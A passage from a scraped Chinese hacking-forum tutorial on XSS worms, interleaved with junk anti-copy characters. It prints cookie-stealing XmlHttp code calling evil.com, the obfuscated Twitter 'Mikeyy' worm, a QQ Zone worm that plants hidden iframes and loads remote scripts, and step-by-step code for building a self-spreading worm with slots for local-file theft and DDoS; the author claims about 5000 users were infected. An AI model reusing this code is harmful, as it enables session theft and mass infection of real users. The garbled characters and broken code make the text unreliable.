$ J7 {0 S  ~9 B4 `! j
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

% Z( u+ \7 ?$ P" _% L. Q+ _XmlHttp.send(null);
! @% D) s# a# c: Q* @
</script>
. `/ [0 \  ?$ M8 r: f# X$ H2 G& P6 z8 @复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
' V  Y/ x* k, {" d/ O
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; G( c+ j0 M8 D
3 K8 y5 a* L4 y" c5 `$ A; _

XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
! [$ r+ R: B# n1 |9 U& A) U& O
" Q% n! Y2 g: c, v9 F8 cXmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
. d2 h; p5 n/ o2 r# x复制代码案例:Twitter 蠕蟲五度發威
  Q+ D: ]& Z& n2 R0 d& W第一版:
  下载 (5.1 KB)
% T" R8 [; U. e$ }
3 U; O/ p7 y1 a6 天前 08:27
" |" z& _3 {* _; Z
0 x4 J9 U* P5 ]. k) k) c( d9 Z第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

   3. function XHConn(){  

3 h; N1 z# Z( C   4.   var _0x6687x2,_0x6687x3=false;  
2 [1 Y+ i6 p4 I! y& Q
5 }" [1 p: T9 x   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

& Z6 D1 o8 {2 q6 t( \  R2 @& Y   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
6 i, r; g: Z5 s( e; }; v5 o0 C- o
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

4 U: g) z- t9 t6 g8 c   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
3 d0 g" C0 c& X2 Q$ ~0 X4 X
   3.   var tmp_cookie=document.cookie;  
) g2 H9 b$ ~+ X/ W3 Y. P# ^
9 s" T# }( `( ^   4.   var tmp_posted=tmp_cookie.match(/posted/);  

& T3 K& n4 q7 |6 {. m! @   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
, I0 t& R2 c) f4 D8 {: k$ N$ }
   6.   var authtoken=authreg.exec(content);  

, q+ U# X* l8 c/ G2 {2 g* M   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  
0 {  p7 X* B& T; c: i8 ^8 J  H4 N3 v
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

; ^! d* Z7 j  `4 B0 Q  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

( R0 [: w& [* G1 Z& z& f6 S  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
9 i. d* R! N) z5 c4 K+ b& O) ~
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
/ e4 N) U" U( @! Q, S; l
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
6 J* J$ s8 M, A% _
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
% ]9 m/ n7 ~1 M' S% u$ Z4 W
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
5 j# k& K) ]+ f! m7 y: Y/ b
1 g8 K4 s$ ~, A! g  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
. }- \$ P* S* m; y8 F9 X. |/ t
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
$ b% M" L, @( i+ z& B# f7 n8 L
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
8 p3 N3 N3 G9 f$ Y% d6 h/ y7 a
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     

3 \& v9 {+ c! _+ e( B  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
! u+ @; _: i( t9 q/ a
' ^; h' S: l  }( q  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
, Y0 G; t' h  ?: {/ s) D6 ~
; Y- ]( H0 n9 D1 }  27.     
. ]0 w9 ]& Q. B, m9 D$ _
  28.   var ajaxConn= new XHConn();  

; ~; h5 S; f* B9 V0 \9 E  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
" f9 W% w& p! g7 p9 U5 ]' C
  30.   var _0xf81bx1c="Mikeyy";  
+ v5 s$ Z+ U  j/ E5 U  L
  31.   var updateEncode=urlencode(_0xf81bx1c);  
9 @' Q) p/ {& b$ [
  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

' ?. h7 s9 U7 `2 M+ ?, Z" X; p6 g  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

' f5 i- x7 K# g/ {1 x# e  35.   var XSS=urlencode(genXSS);  
$ B" F" p6 D, F! m
  36.   var ajaxConn2= new XHConn();  
& V. M: Q: t0 p6 V" D# D" b" O) k
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
& K& o7 u( k7 E& Z
  38.     
* m  Y+ W# L0 h! E
1 H2 K% [+ P8 G  39. } ;  
# k8 Z3 e) x* b7 Y& o
  40. setTimeout(wait(),5250);  
1 |1 P0 y  @8 p! Q复制代码QQ空间XSSfunction killErrors() {return true;}

% |$ g) U3 U; r' Ywindow.onerror=killErrors;
8 \" r$ x- _; K, t* @
  `4 _6 _& T1 F& G

var shendu;shendu=4;
3 a5 D7 P& Y/ i0 r4 V$ Y) a
//---------------global---v------------------------------------------
$ p( j1 ~, j) E* C0 [0 s" k
0 _; i: Z  L- T6 s* U6 }//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;
( ]) L. }4 K: q" ~5 X1 I' r) \& J
        var gurle=gurl.indexOf("com/");
8 k& l, {* u1 P  y; ~
        gurl=gurl.substring(0,gurle+3);        
5 Z8 Y( V& Q) Z' S
! |# p; c" `) Z! h! y9 }$ n2 Y0 y: N        var visitorID=top.document.documentElement.outerHTML;

7 f. r% D: H" L! t& z: s$ y3 a           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

  Y  {3 G1 ~& P) G# s- [- r) x        visitorID=visitorID.substring(0,cookieS);

& H0 G7 f  w# M; l        get_my_blog(visitorID);

, I6 t- B, N/ h' ^, n; l5 |$ m' W4 ~5 G        DOshuamy();

- G- @1 L1 G+ W5 d: u6 h
! h* b$ I! w+ f, N6 h$ V# k
//挂马

! P. Y  t# i9 s& M  Q7 i$ Kfunction DOshuamy(){
- G' [. E3 c. q! t6 C0 u
var ssr=document.getElementById("veryTitle");
& }2 `  P! y3 f7 Q+ U
, X7 X9 Q: W0 K5 Mssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
* ^8 o) A  @. K/ u$ H
* x4 x1 f! P3 ]+ e' w7 K}



//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
4 x( D/ ^: `' i
) z3 Y0 e4 G# X" M   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
4 S- _- {0 D- ?" q& a
   if(xhr){    //成功就执行下面的
8 h- H! i0 [: [: B
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
2 }6 g) |0 A- [, `
     xhr.send();guest=xhr.responseText;
) y7 B5 f# u, W2 ?3 s3 ?* o
% ]3 F* I' x/ I+ C     get_my_blogurl(guest);    //执行这个函数

    }

$ I: \( J; h9 @4 a% s" \6 i5 z}
' C7 q& I9 v" t& F- B" R6 \
5 |& O1 Q9 l3 Z7 J; `
. U) w. d6 @0 i
//这里似乎是判断没有登录的

function get_my_blogurl(guest){
4 W! c3 M" |9 i/ u# l5 R! ]
, f3 Y7 ^8 r) |( D2 `4 v1 Q1 Y8 F# \  var mybloglist=guest;

  var myurls;var blogids;var blogide;
" g2 B( _( {1 w) n
  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
6 P; [1 l* G: w" ]
     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

( M, m. L5 a' B7 s$ K! A8 q         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
  q. u2 U# H5 P  L! |& a5 f
        }else{break;}

}
& q* Z9 @" _' c/ p0 c/ h
, _' `2 R- B( y) T, ^- c  Q. j$ Yget_my_testself();    //执行这个函数
# b. E9 s% T9 P1 o! g
8 C5 [7 {' s+ I}
, h. h2 q6 G& x' D


//这里往哪跳就不知道了

function get_my_testself(){
5 I& G! L5 G) a7 x4 w- X& o
) i# l4 M& o6 M. J; k  for(i=0;i<myblogid.length;i++){    //获得blogid的值
% K& e. R$ ~6 u+ V3 @
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
5 p2 ^1 |5 R7 K6 I) ]
0 m& W& m1 }9 `. ?      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
' s8 a' J* g% T! W# N  K9 u: l* m
              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
) m/ `$ k( K- h
              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

% c. ~3 j; A3 [# C/ Z% x              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

3 a  v. G# ~# u& z/ f  J              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;

* {4 R* S0 i* A6 X9 T. Y& W               }
3 ~! ^% j  B: I( z' j1 |# G
3 m3 D$ A) v: X  Z              if(mycheckit=="-1"){

; U6 ]/ ], T+ N- j7 y( q                targetblogurlid=myblogid;
; R: {2 q- O9 H% q5 x
                add_js(visitorID,targetblogurlid,gurl);    //执行它
- R$ ~" a# e) d. J5 _3 M! u
                break;
- f9 C* {3 W- k. _$ F8 Z# R- B
               }

" ?/ t1 D" w( l+ u0 Z0 E/ J        }      
4 ?) H2 E0 k; }+ P3 V0 h7 G$ C
8 q7 D" j- `6 B' o( ]}

# S6 D: H* Z" _! u  |}

' v% `6 l1 Q# {  U& f; @# k
9 u+ D  X  x/ \! q
//--------------------------------------  
8 ?! q+ V5 e" ~+ ^
//根据浏览器创建一个XMLHttpRequest对象

: ^# g8 `* e. |; z6 \$ F' Nfunction createXMLHttpRequest(){
. e* o5 i+ o8 [
0 b# ]% q$ G$ t8 D# A' u    var XMLhttpObject=null;  
" @0 ]9 j* ~; W1 d
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

% S- D) N/ r' h8 ?" q" T5 f3 O6 |    else  

3 o+ i, r% G2 u$ S3 F: I      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

% Q' X8 ^& e1 `1 f1 e        {  
# f9 v& g! N4 V! V* A* D# Z
            try  
" k% N( C# q/ Y
            {  
- d/ F4 f/ }( y: M
                XMLhttpObject=new ActiveXObject(MSXML);  
3 p9 U" Z: E- c2 G
                break;  
: w' ~; k' i( i' y
            }  

' m) H; L# r3 J8 S" p6 Q" z* h            catch (ex) {  

            }  
  a6 c' z" r& J5 o2 x7 Q
2 m2 R) l4 e. O( ~# Y8 N         }  

6 ?; o3 s' S* T      }
7 l+ G; B6 D' P/ i, S2 ^1 ]4 I
# a9 C% X* y  ireturn XMLhttpObject;

}  

: r& w' N6 u. p8 W/ L

//这里就是感染部分了

* R9 }& C  c7 @' _+ T( I; j' `9 Dfunction add_js(visitorID,targetblogurlid,gurl){
% T0 `9 @' L+ p: I
var s2=document.createElement('script');

. @2 L% [# y0 A7 P( a+ A2 v" q. Ss2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
2 B8 G* `7 Z: E
! |3 g+ z5 ?- Z4 m2 y/ K0 F1 |s2.type='text/javascript';

# j& b, M, t% `) D4 O) ndocument.getElementsByTagName('head').item(0).appendChild(s2);
7 H! u9 c% f7 p% M- a% K4 O
}
1 |) k8 \8 T  D2 b; N0 {7 ]


function add_jsdel(visitorID,targetblogurlid,gurl){
1 Z& T7 b& Q3 x- l
  V7 V" R% z' }+ W+ a8 W6 B9 d& dvar s2=document.createElement('script');
/ W1 i# F' F7 y2 F: l8 W- p  C+ @0 m) x
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
, \$ {  c4 K& l, x) s
; [! x3 B7 t- j! f0 Ds2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
' Q4 m* C% O) B2 V% Z8 k; q
}
3 G1 j2 w( I, u复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
* h3 R" R$ f$ x- X1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
  \1 j, z6 t0 t) {
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
2 [& v, \  W0 A  \* \
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

7 k: [$ C4 s9 l8 F5 h. a
+ a4 \& q! w! Q$ W下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
7 y, b/ p- E, d) a9 @8 }) n' ]4 @
2 s: z! [9 n6 N  c8 _/ f+ Z3 P首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

. q/ a0 B8 a% T3 Y% n: ~$ f, s1 j2 z9 Wif(request.overrideMimeType) {
4 X9 G# [' y$ G; A+ t! r! q
, u3 W# w% v- |6 mrequest.overrideMimeType('text/xml');

. L' M7 [8 T' b2 k; w0 M9 U/ q}

} else if(window.ActiveXObject) {

1 u3 z2 r" K+ N; j) i/ Svar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
7 w( [! z1 x. g
try {
$ Y) I4 Y) A) T+ s
5 N6 s6 ]$ J9 ]request = new ActiveXObject(versions);
, a# d/ L: Q  w, T
} catch(e) {}
) j6 `! y8 A, E4 W# z
7 O9 k& ?* g( {  n+ T, e" ]}

}
; L& W) ]( g( }$ C
xmlHttpReq=request;
5 E' R9 u/ ^2 Z9 T3 x' P) M复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
0 Z. @' Q- k- n# I
        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;
5 R/ a, [$ v) ~% v
        

" V! B+ s/ u! {# t" `& X        var Actual_Version,Actual_Name;
' P3 o5 |8 A' t+ w# n
8 |/ p) E0 x9 v0 B& X) T$ q+ \  p        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
) I4 o) ]; g; j$ M8 o  R
8 l+ p; P. b; ]3 s$ }, M4 p        var is_NN=(Browser_Name=="Netscape");
4 \4 D7 L7 R8 Q3 q' @
        var is_Ch=(Browser_Name=="Chrome");

        
  Y( x) o# @# h  q3 C! B
4 P4 F+ a# L+ C        if(is_NN){

  g/ }! _  g; T8 I6 w, [( U; T: \) H" t            if(Browser_Version>=5.0){
9 R( h* r8 `) @4 }/ Z) [
8 m. Y1 i) s' N! K$ M                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
: ~+ q' ~. U! y0 r. |3 n' L3 j
) n& T& t; e) R7 h; K" V                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

: l3 @1 F7 G# \9 v- t  ~$ U

' M% {- g: s2 H8 J" L                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
: c4 t/ [! Z# r6 \! f
8 e" [% N& P: e/ g                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

& M1 H5 R8 d' d            }
) ~& n% h9 H  d/ y. b& u/ Q
            else{

                Actual_Version=Browser_Version;
# X) S* j" X$ b3 y
7 G) d1 L3 n9 r, \                Actual_Name=Browser_Name;
/ `- ]" H! O2 M; s8 z. N, @! R
2 X: s3 U) M+ K1 l4 y7 C% @7 J0 _            }
" K; ~8 B. [* h5 W1 L; i, r
, r# l- W2 x+ J2 k: a! Y, {7 s; T3 @        }

9 c: b! R( p/ y" d. i  m        else if(is_IE){
( X. p3 w4 R; Z  ?! d: O5 U
            var Version_Start=Browser_Agent.indexOf("MSIE");
3 r- s% W$ |; ?& d8 P% R5 g
" F* G+ e7 k& }5 I  n            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
" N$ }$ a2 M; D5 {. x4 U* }! K
& L0 g! H& a- J9 ?7 f1 n2 r            Actual_Name=Browser_Name;
9 }( c; x3 ?  H, o$ B8 t& U6 P
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
: c; @! y- g; `  I
" Q0 j+ g6 |  K                Actual_Name+="(Maxthon)";
: x  t) J+ Z) _# Z7 M( C
            }

5 ]) m4 G( F; L7 R# V( W            else if(Browser_Agent.indexOf("Opera")!=-1){
* a5 C4 h& r/ L, _- S0 A
                Actual_Name="Opera";
* I+ w5 }" D: W7 t
                var tempstart=Browser_Agent.indexOf("Opera");
2 `* ?3 }( F4 {9 v2 R. @
8 [# f$ p! q; B, |, f% W# c5 E                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }

  v# A0 A, N9 J1 _( Z% J/ }        else if(is_Ch){
' V4 E: k) E$ e0 J! h' B
; Q  C, D4 ?- `; x            var Version_Start=Browser_Agent.indexOf("Chrome");
: @2 R" h! l, n" @+ @/ j, P" V
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
$ r5 j; d0 \/ X2 o/ ?7 K
& O2 }0 r, A; c/ y& ], C: `            Actual_Name=Browser_Name;

) \- D7 e4 i/ @+ ~* w1 Y7 |! G            

% G0 t. \5 ?' N$ c5 E            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

' y& l. z+ x+ i. ~6 t1 v1 l            }
" E* f, @, h" M# P
            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

6 c) A% Y# {, [1 D                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
- [, T' r: ?3 M0 K; o
9 l' C  S0 u0 v* v5 ^                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
; N! h8 x. y5 u) W( W
            }

- R: B  u5 q# J        }
9 J9 P; f. n7 D* ~2 ~
) f. ~" X$ _6 V* j" a0 h        else{
$ F4 C  J. A) ^2 B1 A
            Actual_Name="Unknown Navigator"

" f0 s3 L( A, A% r" M            Actual_Version="Unknown Version"

+ F+ }: D% k3 ]        }



! X; f0 c! Y+ @6 c+ x4 Z        navigator.Actual_Name=Actual_Name;
, s3 T3 \' T! B4 u( T2 `3 D: O
* N" p. J4 r+ e  K4 k  a        navigator.Actual_Version=Actual_Version;

        

  l. j, F8 N& m, U        this.Name=Actual_Name;
- `* D$ u6 \3 M8 J) f
        this.Version=Actual_Version;

    }

3 [; u5 _- {3 k+ q+ j    browserinfo();

5 K2 Z, r. H2 v3 S+ _    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
2 a  J: r' b$ ^/ s8 k' E7 w
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
9 F6 R5 [6 M% G7 l0 a8 S, B$ E/ u
* S$ F7 {, q8 E5 Y9 Y) P( LxmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
" f3 `8 p+ |& F
# a7 _3 P4 I- v. avar id=0;var result;

+ O" f3 c; @& _( w! s2 L% Z( I, fvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
4 W) x- ~1 R$ m. w+ M" U
while ((result = patt.exec(resource)) != null)  {

id++;
9 Q3 X# Q" q' n% X- u6 h+ f
}
* R! ?; ]. G  R! Y复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
5 K; q' w  Y5 b: w& K
1 Z: n0 E, s, ^: q) v6 cno=resource.search(/my name is/);
+ j0 w. i8 C* O* X" d
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
! K7 e0 P7 e' ?+ a8 I
3 X# E% }4 K. @+ t) e/ `# fvar post="wd="+wd;

6 B- L7 d6 _- ~' q5 F" R% |xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

# n% R# k" P* C( _' OxmlHttpReq.setRequestHeader("content-length",post.length);

1 e& w' G7 O, G5 Q6 q: `1 gxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
0 r4 \, R; _1 w) U
xmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
" m4 @0 v& ~/ Q; ]! M( [- ^
- l- ^/ s7 [. Hvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
5 i9 U9 \' o9 s$ U. B1 r9 @; ^! A7 h
& X; c4 R4 @2 }- d' L$ {9 nvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

2 B! \& A5 ^  d0 T, w/ r. S! Pvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
( C5 C6 E' \, c; j& s3 N
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
# V) c* `( G, B0 `
6 J0 y9 v9 `) n- d' uxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
0 G0 h( R/ F* }6 `/ B- ^
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.
$ Q! p( z9 t3 v: y. |  I4 {+ f
! `- {. w2 D8 E* Q$ [6 _! w( R}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

3 @+ N, O8 U0 x. F6 [! [- E" c' @
  C* Q, X7 |& Q- L1 S# W
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


# ^: r$ y% \& ]9 j( C8 _. q8 j
( C% {+ K! _. ]% l& s


/ @7 Y+ ]5 G7 w% @

+ s- ~3 {1 X$ E3 M5 |' q4 X  V本文引用文档资料:

0 W, {/ O; E; K) L; l  |"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
( |3 g* M& o/ Y9 b5 G  A% w0 CXeye Team http://xeye.us/